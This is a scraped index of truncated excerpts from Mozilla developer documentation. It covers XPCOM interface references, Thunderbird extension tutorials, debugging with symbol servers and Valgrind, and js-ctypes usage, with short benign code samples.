1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for example, if you wish to provide operating system integration with a native password manager system, implementing and registering a storage module for the login manager is how you do it. see creating a login manager storage module for details. ...
nsIMemoryReporterManager
evel ones not covered by memory reporters. this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript. -1 means unknown. read only. resident print64 gets the resident size (that is rss, physical memory used). this reporter is special-cased because it is interesting, is available on all platforms, and returns a meaningful result on all common platforms. -1 means unknown. read only. methods enumeratemultireporters() returns an enumerator for looking at the installed memory multi-reporters. nsisimpleenumerator enumeratemultireporters(); parameters none. return value an enumerator of nsimemorymultireporters that are currently registered. enumeratereporters() returns an enumerator ...
nsIMimeConverter
been run on a message yet. return value the value of the property. qpencoderinit() void setuint32property(in string propertyname, in unsigned long propertyval); parameters propertyname the name of the property to set. propertyval the value of the property. encoderdestroy() marks this header as read. thunderbird provides a utility function which performs this for the currently selected message: markcurrentmessageasread(). void markread(in boolean read); parameters read if true, mark as read. if false mark as undread. encoderwrite() void markflagged(in boolean flagged); parameters flagged if true, mark as flagged. if false remove flag. ...
Building an Account Manager Extension
{}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account", chromepackagename : "example@mozilla.org", showpanel: function(server) { //this panel is only shown for imap accounts... if (server.type == \"imap\") return true; return false; }, queryinterface: xpcomutils.generateqi([ components.interfaces.nsimsgaccountmanagerextension ]) } step 2: building a component we convert the interface to a xpcom component and register it in the component manager as account manager extension. therefore we add the following code to the previous. the javascript file has to be saved either in the extension's or thunderbird's component directory. // define the contract information needed for this component...
nsINavHistoryContainerResultNode
n set this to true to allow descent into this container. when closed, attempting to call getchild() or access childcount results in an error. when you're done reading the container's children, set this to false. for host and day groupings, doing this has no performance cost since the children have already been computed. for queries and bookmark folders, however, being open means they must keep themselves up-to-date by listening for updates and re-querying as needed. dynamiccontainertype autf8string a string representing the dynamic container api service responsible for this container. accessing this throws an exception if the node isn't a dynamic container. read only. haschildren boolean indicates whether or not the node can have children, and may be used whether the container is open o...
nsINavHistoryResult
e the view and controller pieces of the puzzle; they define how the data looks and how the data is interacted with. more specifically, the nsinavhistoryresultviewer interface provides the view component of the pattern, and nsinavhistoryresultviewobserver is the controller. the result indicates to the view when something changes by using the nsinavhistoryresultviewer interface. viewers register themselves through the registerviewer() method. the viewer then tells the actual view object what to do. you can use nsinavhistoryresulttreeviewer as the viewer; this provides a prepackaged interaction with a nsitreeboxobject. if you need a different view, you'll need to create your own viewer interface. the viewer provides notifications to the controller when view events occur; this is done using the ...
nsINavHistoryResultNode
ting that information would require an additional query, so for performance reasons that information isn't given by default). read only. bookmarkindex long when this item is in a bookmark folder (its parent is of type folder), this is the index into that folder at which this node resides. these indices start at 0 and increase in the order at which the nodes appear in the bookmark folder. for items that are not in a bookmark folder, this value is -1. read only. dateadded prtime if the node is an item (bookmark, folder, or separator), this value is the time at which the item was created. for other nodes, this value is 0. read only. icon autf8string this uri can be used as an image source uri and will give you the favicon for the page. it is not the actual uri of the favicon, but, rather,...
nsINavHistoryResultTreeViewer
en appear because they will be separated (unless you clicked reload a bunch of times in a row). if you know you'll only ever want one entry per site, you should ask for uris back instead of visits so it will be more efficient. default = true. changing this value is somewhat heavyweight since it will force a tree refresh. obsolete since gecko 1.9 flatitemcount pruint32 this tells you how many items are in the flattened list of results, that is how many rows are in this tree right now. the tree adaptor will also qi to nsitreeview, and this will be the same as nsitreeview.rowcount. this is only valid when a tree is attached, the result will be 0 otherwise. read only. obsolete since gecko 1.9 constants constant value description index_invisible 0xffffffff returned by treeindexfornode()...
nsINavHistoryResultViewObserver
he drag operation wishes to drop the dragged item onto the indicated row. drop_after 1 the drag operation wishes to insert the dragged item after the indicated row. methods candrop() implement this method to report whether or not a drop is permitted onto the specified location. to provide behavior similar to the folder pane in thunderbird, where drops are only permitted on items themselves instead of on the pane as a whole, always return false when the orientation isn't drop_on. warning: do not change the content of the observer list. boolean candrop( in long index, in long orientation ); parameters index the item over which the drag is currently located. orientation whether the drag target is before, after, or on the indicated row. return va...
nsINavHistoryService
er. nsinavhistoryresult executequery( in nsinavhistoryquery aquery, in nsinavhistoryqueryoptions options ); parameters aquery the query object. options the options object. return value returns a new result object. executequeries() this method is similar to executequery method. it executes an array of queries. all of the query objects are ored together. within a query, all the terms are anded together as in executequery method. nsinavhistoryresult executequeries( [array,size_is(aquerycount)] in nsinavhistoryquery aqueries, in unsigned long aquerycount, in nsinavhistoryqueryoptions options ); parameters aqueries the queries object. aquerycount the count of queries. options the options object. return value returns a new result object. querystringtoqueries(...
nsINavHistoryVisitResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable this interface describes a result from a result_type_visit query on the places service. it describes a visit to an entry; you can use it to determine the date and time of the last time the user visited a particular page, for example. this interface provides the session id so that it's possible to group items from the same session together. 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryresultnode last changed in gecko 1.9 (firefox 3) attributes attribute type description sessionid long long the session id of the visit, used for session grouping when a tree view is sorted by date. read only. see also nsinavhistoryresultnode ...
nsINetworkLinkService
rface already configured). if the link status is not currently known, we generally assume that it is up. read only. linkstatusknown boolean this is set to true when we believe that islinkup is accurate. read only. linktype unsigned long the type of network connection, one of the link_type_* constants. read only. note: as of gecko 8.0, all operating systems currently return link_type_unknown. android support was backed out due to perceived security concerns, see bug 691054. as of gecko 28.0 android support is available again, see bug 939680. constants constant value description link_type_unknown 0 we were unable to determine the network connection type. link_type_ethernet 1 a standard...
nsIObserverService
xpcom/ds/nsiobserverservice.idlscriptable this interface provides methods to add, remove, notify, and enumerate observers of various notifications. inherits from: nsisupports last changed in gecko 0.9.6 the xpcom nsobserverservice implements this interface to provide global notifications for a variety of subsystems. implemented by @mozilla.org/observer-service;1 as a service: var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); method overview void addobserver( in nsiobserver anobserver, in string atopic, in boolean ownsweak); nsisimpleenumerator enumerateobservers( in string atopic ); void notifyobservers( in nsisupports asubject, in string ato...
Component; nsIPrefBranch
erences data. this object may be obtained from the preferences service (nsiprefservice) and used to get and set default and/or user preferences across the application. inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree" from which this "branch" stems. preferences are accessed off of this root by using just the final portion of the preference. for example, if this object is created with the root "browser.startup.", the preferences "browser.startup.page", "browser.startup.homepage", and "browser.startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods. method overvie...
nsIPrefService
modules/libpref/public/nsiprefservice.idlscriptable this interface is the main entry point into the back end preferences management library. the preference service is directly responsible for the management of the preferences files and also facilitates access to the preference branch object which allows the direct manipulation of the preferences themselves. inherits from: nsisupports last changed in gecko 1.7 method overview nsiprefbranch getbranch(in string aprefroot); nsiprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user p...
nsIPropertyBag
nt information (operating system specifics. the window scope is not always accessible so the window.navigator cannot be accessed. ...
nsIProtocolProxyService
d, for example, if it is a http proxy and the nsiprotocolhandler for the queried uri does not permit proxying via http. if a nsiprotocolhandler disallows all proxying, then filters will never have a chance to intercept proxy requests for such urls. note: it is possible to construct filters that compete with one another in undesirable ways. this api does not attempt to protect against such problems. it is recommended that any extensions that choose to call this method make their position value configurable at runtime (perhaps via the preferences service). void registerfilter( in nsiprotocolproxyfilter afilter, in unsigned long aposition ); parameters afilter the nsiprotocolproxyfilter instance to be registered. aposition the position of the filter. unregisterfilter() this me...
nsIPushMessage
dom/interfaces/push/nsipushnotifier.idlscriptable a push message sent to a system subscription. inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) nsipushmessage is the subject of a push-message observer notification. this interface resembles pushmessagedata from the push api. method overview domstring text(); jsval json(); void binary([optional] out uint32_t datalen, [array, retval, size_is(datalen)] out uint8_t data); methods text() extracts the message data as a utf-8 text string. domstring text(); parameters none. json() parses the message data as json. jsval json(); parameters none. binary() extracts the message data as a byte array. void binary( [optional] out uin...
nsIRequestObserver
inherits from: nsisupports last changed in gecko 1.0 method overview void onstartrequest(in nsirequest arequest, in nsisupports acontext); void onstoprequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatuscode); methods onstartrequest() called to signify the beginning of an asynchronous request. note: an exception thrown from onstartrequest has the side-effect of causing the request to be canceled. ...
nsIScreen
the screen's color depth; this is the number of bits used to represent a color. read only. pixeldepth long the screen's pixel depth; this is the number of bits used to represent a pixel. read only. rotation unsigned long the screen's current rotation; you may set this to any of the values listed in screen rotation constants. this will only have an effect on platforms that support screen rotation. gecko 1.9.2 note starting in gecko 1.9.2, gecko running on microsoft windows reports 24 bits per pixel instead of 32 bits per pixel on 8-bits per color component displays, since this is typically what the caller is actually looking for. constants screen brightness constants constant value description brightness_dim 0 the scr...
nsISeekableStream
inherits from: nsisupports last changed in gecko 1.7 method overview void seek(in long whence, in long long offset); void seteof(); long long tell(); constants constant value description ns_seek_set 0 specifies that the offset is relative to the start of the stream. ns_seek_cur 1 specifies that the offset is relative to the current position in the stream. ns_seek_end 2 specifies that the offset is relative to the end of the stream. ...
nsIServerSocketListener
the address of the client can be found by calling the nsisockettransport.getaddress() method or by inspecting nsisockettransport.gethost(), which returns a string representation of the client's ip address, which may be either an ipv4 or an ipv6 address. ...
nsIServiceManager
ter to the global service manager by calling ns_getservicemanager. after that, they can request specific services by calling getservice(). when they are finished they should call nsisupports.release() on the service as they would with any interface pointer. in some language bindings, such as javascript, this step is unnecessary. and, moreover such languages typically offer more convenient mechanisms to acquire references to xpcom services and components. a user of a service may keep references to services until application shutdown. this interface was frozen for gecko 1.0. see bug 99147 for details. from gecko 2.0 interfaces are no longer frozen. see also ns_getservicemanager do_getservice mozilla::services c++ namespace services.jsm nsisupports.release() ...
nsISocketTransport
inherits from: nsitransport last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: connection setup is triggered by opening an input or output stream, it does not start on its own. ...
nsISupports
(); parameters none. return value an integer value that is generally ignored. remarks the method descriptions above were taken from essential com by don box. the point of those descriptions is to highlight the fact that addref() and release() do not necessarily correspond to incrementing and decrementing a counter, respectively, even though that is how they are usually implemented. on win32 systems, nsisupports is abi-compatible with microsoft com's iunknown interface. ...
nsITaskbarPreview
e size and contents of the preview, which buttons are displayed, and how the application responds to user actions on the preview. the controller is not allowed to be null. note: neither nsitaskbartabpreview or nsitaskbarwindowpreview makes full use of the controller; see the documentation for each interface for details on which controller methods are used. tooltip domstring a string containing the text displayed in the tooltip above the preview when the user hovers over it. by default, this is an empty string. visible boolean indicates whether or not the preview is visible; by default, this is false. note: changing this value is computationally expensive for tab previews, because doing so causes the proxy windo...
nsITaskbarPreviewButton
dicates whether or not the button should be displayed at all. dismissonclick boolean if true, the array of previews should be dismissed when the button is clicked. this is false by default. hasborder boolean if true, the taskbar should draw a border around this button's image. this is true by default. image imgicontainer the icon displayed in the button. this is null by default. tooltip domstring the string displayed in the button's tooltip. by default, this is an empty string. visible boolean if true, the button is displayed. if false, the button doesn't participate in the layout of buttons underneath the preview. this is false by default. see also nsitaskbarpreview nsitaskbarpreviewcontroller nsitaskbartabpreview nsitaskbarwindowpreview nsiwintaskbar ...
nsITaskbarTabPreview
rview void ensureregistration(); violates the xpcom interface guidelines nativewindow gethwnd(); violates the xpcom interface guidelines void move(in nsitaskbartabpreview anext); attributes attribute type description icon imgicontainer the icon displayed next to the title in the preview. this is null by default. title domstring the title displayed above the thumbnail. by default, this is an empty string. methods violates the xpcom interface guidelines ensureregistration() used internally to ensure that the taskbar knows about this preview. if a preview is not registered, the api call to set its sibling (via the move() method) will fail silently. this method is only invoked when it's safe to make ...
nsITimer
type for most situations. type_repeating_precise 2 type_repeating_precise is just a synonym for type_repeating_precise_can_skip. they used to be distinct, but the old type_repeating_precise kind was similar to type_repeating_precise_can_skip while also being less useful. so the distinction was removed. type_repeating_precise_can_skip 3 this repeating timer aims to have constant period between firings. the processing time for each timer callback should not influence the timer period. however this timer type guarantees that it will not queue up new events to fire the callback until the previous callback event finishes firing. if the callback takes a long time, then the next callback will be scheduled immediately afterward, but only once, unlike type_re...
nsITransactionList
itor/txmgr/idl/nsitransactionlist.idlscriptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.7 method overview nsitransactionlist getchildlistforitem(in long aindex); nsitransaction getitem(in long aindex); long getnumchildrenforitem(in long aindex); boolean itemisbatch(in long aindex); attributes attribute type description numitems long the number of transactions contained in this list. read only. methods getchildlistforitem() returns the list of children associated with the item at aindex. implementations may return null if there are no children, or an empty list. the list returned is addref'd so it is up to the caller to release the transaction when it is done. nsitransactionlist getchildlistforitem( in long aindex )...
nsIUploadChannel
on uploadstream nsiinputstream get the stream (to be) uploaded by this channel. read only. methods setuploadstream() sets a stream to be uploaded by this channel. most implementations of this interface require that the stream: implement threadsafe addref and release implement nsiinputstream.readsegments() implement nsiseekablestream.seek(). history here is that we need to support both streams that already have headers (for example, content-type and content-length) information prepended to the stream (by plugins) as well as clients (composer, uploading application) that want to upload data streams without any knowledge of protocol specifications. for this reason, we have a special meaning for the acontenttype parameter. void setuploadstream( in nsiinputstream astream, in acstring a...
nsIWinTaskbar
d the application registers with the system. this id is used by the taskbar for grouping windows and when associating pinned shortcuts with running instances and jump lists. read only. for xulrunner applications, the defaultgroupid attribute is configured using application.ini settings, and is of the format "vendor.application.version". for example, if the vendor is configured to "foobar systems", the application's name is "squashweb", and the application's version is 1.0, the defaultgroupid attribute would be "foobar systems.squashweb.1.0". see xul application packaging for additional details. methods createjumplistbuilder() retrieve a taskbar jump list builder. fails if a jump list build operation has already been initiated, developers should make use of a single instance of nsijumplis...
nsIWorkerFactory
t need to use it anymore to create workers from chrome. instead, you can just do new worker or new chromeworker. implemented by: threads/workerfactory;1. to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method overview nsiworker newchromeworker(in domstring ascripturl); methods newchromeworker() returns a new chromeworker that will run a specified script. nsiworker newchromeworker( in domstring ascripturl ); parameters ascripturl the url of the script to load into the new worker. return value an nsiworker object representing the new chromeworker. see also using web workers worker sharedworker ...
nsIWorkerMessagePort
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents a worker thread's message port, which is used to allow the worker to post messages back to its creator. 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void postmessage(in domstring amessage); methods postmessage() posts a message into the event queue. void postmessage( in domstring amessage ); parameters amessage the message to post. see also using web workers nsiworkermessageevent nsiworkerglobalscope nsiworkerscope nsiabstractworker nsiworker ...
nsIXPConnect
cated do-nothing function. void syncjscontexts(); parameters none. exceptions thrown missing exception missing description native code only!updatexows obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. performs an operation over all of |object|'s xows such as clearing their scopes or updating their concept of the current principal. void updatexows( in jscontextptr ajscontext, in nsixpconnectwrappednative aobject, in pruint32 away ); parameters ajscontext a context to use to perform js operations. aobject which xpcwrappednative we should find the xows for. away what operation to perform.
nsIXULRuntime
widgettoolkit autf8string a string tag identifying the target widget toolkit in use. this is taken from the moz_widget_toolkit configure variable. read only. xpcomabi autf8string a string tag identifying the binary abi of the current processor and compiler vtable. this is taken from the target_xpcom_abi configure variable. it may not be available on all platforms, especially unusual processor or compiler combinations. the result takes the form <processor>-<compilerabi>, for example: x86-msvc ppc-gcc3. this value should almost always be used in combination with os. may throw ns_error_not_available. read only. constants process type constants constant value description process_type_default 0 the defau...
nsIZipEntry
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type description compression unsigned short the type of compression used for the item. the possible values and their meanings are defined in the zip file specification at zip application note support. read only. crc32 unsigned long the crc-32 hash of the file in the entry. read only. isdirectory boolean true if the name of the entry ends with '/' and false otherwise. read only. ...
NS_StringAppendData
. otherwise, adata need not be null terminated. return values the ns_stringappenddata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short. this example should compile by default under msvc. example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringappenddata(str, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7. see bug 239123 for details. see also ns_stringsetda...
NS_StringCutData
e length from acutstart to the end of the string. return values the ns_stringcutdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange. note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short. this example should compile by default under msvc. example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello world"); // remove " world" portion of string ns_stringcutdata(str, 5, pr_uint32_max); const prunichar* data; ns_stringgetdata(str, &data); // data now ponts to the string: l"hello" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7. see bug 239...
NS_StringInsertData
otherwise, adata need not be null terminated. return values the ns_stringinsertdata function returns ns_ok if successful. otherwise, it returns an error code. remarks this function is defined inline as a wrapper around ns_stringsetdatarange . note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short. this example should compile by default under msvc. example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello"); ns_stringinsertdata(str, 5, l" world"); const prunichar* data; ns_stringgetdata(str, &data); // data now points to the string: l"hello world" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7. see bug 239123 for details. see also ns_stringse...
Frequently Asked Questions
in the september 1995 issue of "the c++ report". com smart pointers even more harmful by don box is a follow-up article that originally appeared in the february 1996 issue of "the c++ report". books essential com by don box. effective com by don box, et al. the c++ programming language (3rd edition) by bjarne stroustrup. effective c++ (2nd edition): 50 specific ways to improve your programs and designs by scott meyers. more effective c++ : 35 new ways to improve your programs and designs by scott meyers. effective c++ cd: 85 specific ways to improve your programs and designs by scott meyers. people don box is a smart guy who has been writing about com programming for a long time. ...
Status, Recent Changes, and Plans
ted guide, the reference manual, or the faq. i put this section at the top so that checking for recent changes will be easy. recent changes to nscomptr most recent first made == and != between an nscomptr and a raw pointer (or a literal 0 or nsnull) work correctly on all compilers. see bug 65664. made getter_addrefs( nscomptr& ) apply the same type-safety check that the simple assignment forms do. added do_createinstance. added do_getservice. eliminated the need to cast getter_addrefs when an nsisupports** is needed. relaxed the invariant for nscomptr<nsisupports>, so that it is now a pointer to any xpcom interface. added do_queryreferent to make using nsiweakreferences easier. plans for nscomptr bug 59212: as soon as we test on more compilers, start recommending already_addr...
Using nsIDirectoryService
to tell the system of the location of dlls that are linked against. this aspect of file location is not related to nsidirectoryservice, but needs mention here. on the macintosh, these dlls are the shared libs in the "essential files" directory. you need to include an alias in your application that points to this directory and the resource id of this alias goes into your 'cfrg' resource. on platforms which use path environment variables, you will need to set one of these paths to the /bin directory. application level nsappdirectoryservicedefs.h the first group listed is for locations that are relative to the application: for instance, the name and location of the chrome folder, or the default location of user profiles. the nsidirectoryserviceprovider which normally provides these locations is...
Using nsISimpleEnumerator
s var enumerator = document.getelementbyid('astringbundleid').strings; var s = ""; while (enumerator.hasmoreelements()) { var property = enumerator.getnext().queryinterface(components.interfaces.nsipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascript 1.7 features // creates a generator iterating over enum's values function generatorfromsimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.nsipropertyelement); var s = ""; for (let property in props) { s += property.key + ' = ' + property.value + ';\n'; } alert(s); links c...
Weak reference
ou could write one by hand as i discuss below. there are other, mostly negligible, costs: it's an extra indirection per call, and the easy implementation requires adding an extra pointer per interface to the target implementation. why can't i just queryinterface between the pair? it really feels like the nsiweakreference that you are holding is just another interface on the target object. it seems reasonable to want to simply queryinterface between the two. why these extra calls: getweakreference and queryreferent? this would be possible if the weak reference was actually aggregated to the target object. the problem here is queryinterface. queryinterface must satisfy many requirements to allow com to work. among these requirements is that every call to queryinterface against the same (agg...
XTF
Mozilla › Tech › XTF
documentation xtf readme the xtf readme. xtf home the xtf home (outdated). xtf: when xbl just won't cut it more recent primer to xtf by alex vincent. ...
The Valgrind Test Job
pressions. but generally errors should be fixed rather than suppressed. when running locally, you may see errors that do not occur on the test machines. errors in system libraries can generally be ignored, because they are out of our control and the kind of thing we suppress on the test machines. errors in mozilla code should probably be reported in bugs! if you need help or experience problems if you need help with the valgrind test job, please contact nicholas nethercote or gary kwong. julian seward can also help with valgrind issues. alternatively, bugs relating to the test job can be filed in the "testing" product, under the "general" component. please cc :njn and :gkw on any such bugs. ...
Testing Mozilla code
ill focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-free and out-of-bound bugs in c/c++ programs. it uses a compile-time instrumentation to check all reads and writes during the execution. in addition, the runtime part replaces the malloc and free functions to check dynamically allocated memory. more information on how asan works can be found on the address sanitizer wiki. fuzzing interfacethe fuzzing interface is glue code living in mozilla-central in order to make it easier for develop...
Cached compose window FAQ
o create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead. the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any new window performance problems that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply. but we noticed that the common usage pattern is to compose, send, compose, send, compose send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just h...
Events
fired when... compose-send-message a message gets sent compose-window-close a compose window gets closed compose-window-init a compose window has been opened compose-window-reopen a cached compose window has been reopened. no load event is fired in this case. folders event name event type fired when... msgcreatedbview onactivecreatedview onactivemessagesloaded the active messages in the folder have been loaded oncreatedview a folder view has been created, but not yet shown. if custom column handlers need to do something, this is likely the event you are looking for. ondestroyingview the current folder view is being destroyed.
LDAP Support
workstate st workstate region workzipcode postalcode workzipcode zip workcountry countryname jobtitle title department ou department orgunit department department department departmentnumber company o company company workcountry countryname _aimscreenname nscpaimscreenname webpage1 workurl webpage2 homeurl birthyear birthyear custom1 custom1 custom2 custom2 custom3 custom3 custom4 custom4 notes notes notes description prefermailformat xmozillausehtmlmail lastmodifieddate modifytimestamp custom ldap ...
Message Interfaces
nsimsghdr nsimsghdr - this interface describes headers for all mail messages. it can be used to retrieve address, subject and related header information for a mail message. nsimsgdbhdr nsimsgdbhdr - this interface describes headers for mail messages. it is a child of nsimsghdr (see above). nsimsgthread nsimsgthread - this interface is used to interact with threads in thunderbird. nsimsgdbview nsimsgdbview - the nsimsgdbview interface handles the display of mail in the threadpane and preview pane of thunderbird and other xpcom based mail cients. ...
Building a Thunderbird extension 3: install manifest
the first portion is the short name of the extension and must be in lowercase; the last portion is a two-part period-delimited value such as your first and last name or the top-level domain of your website. while this value is in email address format, it is not an emai...
Building a Thunderbird extension 6: Adding JavaScript
yy.mm.dd. because the month is zero-based we also need to add one to the month. finally the label of our panel is set to "date: " and concatenated with the date string that contains the formatted date. we use the function window.setinterval to update the date in case thunderbird is left running for more than one day. this allows us to call the startup function repeatedly with an interval of 60000ms (every minute). further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (overview of all dom objects in gecko) you may also find the javascript cheat sheet very useful. « previousnext » ...
Access Window
...
Styling the Folder Pane
older.getnumunread(false) > 0 indicates that the folder (but not subfolders) has unread messages. isserver-true afolder.isserver indicates that the folder is a root folder (one that represents a server). servertype-server afolder.server.type returns the type of the server. for example, imap servers are "imap". specialfolder-foldertype afolder.flags & nsmsgfolderflags.<name> returns the folder type if it is a special folder (or "none" if it is a regular folder). for example, if the inbox flag is set, this will be "inbox". biffstate-biffstate afolder.biffstate == nsimsgfolder.nsmsgbiffstate_<name> indicates whether or not the folder has new messages. issecure-{true, false} afolder.server.issecure indicates whether or...
Tips and Tricks from the newsgroups
) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Thunderbird extensions
ing to achieve. the gloda database thunderbird has a subsystem called gloda. gloda stands for « global database », and creates thunderbird-wide relations between objects. gloda provides concepts such as conversations, messages, identities, contacts. all these concepts are related : a conversation contains messages which are linked to identities (from field, to field) which are themselves part of a contact: indeed, a contact has multiple identities. typical use cases for gloda: find all messages whose subject matches [search term], find all messages from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc. etc. gloda is extremely powerful and is used heavily by add-ons such as thunderbird conversations. lear...
Using tab-modal prompts
then apply it, like in the example below, here we apply the prompt with a checkbox: var window = gbrowser.contentwindow; var promptfact = components.classes['@mozilla.org/prompter;1'].getservice(components.interfaces.nsipromptfactory); var prompt = promptfact.getprompt(window, components.interfaces.nsiprompt); var promptbag = pro...
Using the Mozilla source server
once the symbol path is set you must now enable source server. using the source server in windbg in the windbg command line, type .srcfix and hit enter. this enables source server support. now, when you click on a frame in the "c...
Using the Mozilla symbol server
.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command. if you would like to get symbols from microsoft's symbol server as well, you should list that first (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://msdl.microsoft.com/download/symbols;srv*c:\symcache\*https://symbols.mozilla.org/ downloading symbols using symchk.exe you can also download the symbols using symchk.exe, part of microsoft's debugging tools for windows. the command should look like this (again, you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols...
Examples
each os. mac os x these examples require mac os x to operate. add image to iphoto an extension that adds a contextual menu item to images that lets you easily add them to iphoto on mac os x. using objective-c from js-ctypes an example how to use objective-c from js-ctypes, by converting objective-c code into c code. using com from js-ctypes an example how to use com api of windows systems from js-ctypes, by converting c++ code to c code. using jni from js-ctypes an example how to use java from js-ctypes, by converting java code into c code. js-macosx an extension that demonstrates javascript-cocoa bridge for mac os x. lightweight bridge for calling cocoa frameworks from javascript, js-macosx transparently handles definition of cocoa api, both c and objective-c, and provides ...
Declaring types
at the core of all this is a set of predefined types provided by js-ctypes. ...
Memory Management
objects will hold references to objects, keeping them alive. this is not an exhaustive list, but will help you to understand memory management and how it affects your use of js-ctypes: a function or static data declared using the declare() method will hold that library alive. a ctype will hold referent ctype objects alive. a cdata will hold referent cdata objects alive, under specific circumstances. for example, a cdata object produced by accessing a field of a structure or the internals of an array will hold the referent objects alive. what won't keep objects alive it's important to note that getting direct access to the contents of a cdata object using address(), addressofelement(), or contents, will result in a cdata object that does not hold its referent alive. be sure to hold ...
Working with data
creating cdata objects data types for use with js-ctypes are represented by ctype objects. these are javascript constructors; as such, they're callable functions that you can use to create new cdata objects of that type. there are several ways you can go about creating new cdata objects. creating uninitialized cdata objects there are three forms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj = new type; var mycdataobj = new type(); var mycdataobj = type(); these all do the same thing: they return a new cdata object of the specified type, whose data buffer has been populated entirely with zeroes. note: if type.size is undefined, creating a new object this way will throw a typeerror exception. creating initialized cdata objects ...
ctypes.open
at the heart of js-ctypes is the ctypes.open() function. this must be called before any work can commence. there are two options: custom native file (dll, so, dylib, etc.) standard os libraries custom native file for this method, a native file must be created. a native file for use on unix systems is an so file, which is created and a c function called add() is written. int add(int a, int b) { return a + b; } to make this a shared library, a native file which can be loaded and used from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created. this native file can be placed in any folder of an addon and then loaded from js-ctypes. they can a...
CData
mdnfirefox" at js array position 36 (so 37 if count from 1), we see 183, and at 77 we see char code of 0 if casted to unsigned_char, if casted to char we see -73 at pos 36 but pos 77 still 0, if casted to jschar we see chineese characters in all spots expect spaces even null terminator is a chineese character console.info('ptrasarr.length:', ptrasarr.length); //console.log('debug-msg :: datacasted:', datacasted, uneval(datacasted), datacasted.tostring()); var charcode = []; var fromcharcode = [] for (var i=0; i<ptrasarr.length; i++) { //if known_len is correct, then will not hit null terminator so like in example of "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" if you pass length of 77, then null term will not get hit by th...
js-ctypes reference
tinctions are crucial, and understanding them will alleviate much of the confusion surrounding js-ctypes. calling a type constructor will return a ctype. calling a ctype will return a cdata. you declare the arguments and return value of a native function with ctype objects. you call a native function with cdata objects. other features error-handling js-ctypes supports both errno (on all platforms) and getlasterror (on windows platforms). callbacks you can pass regular javascript functions as callbacks to native functions. see the callbacks page for details. 64-bit integer handling because javascript number objects can't directly represent every possible 64-bit integer value, js-ctypes provides new types for these. see int64 and uint64. ...
js-ctypes
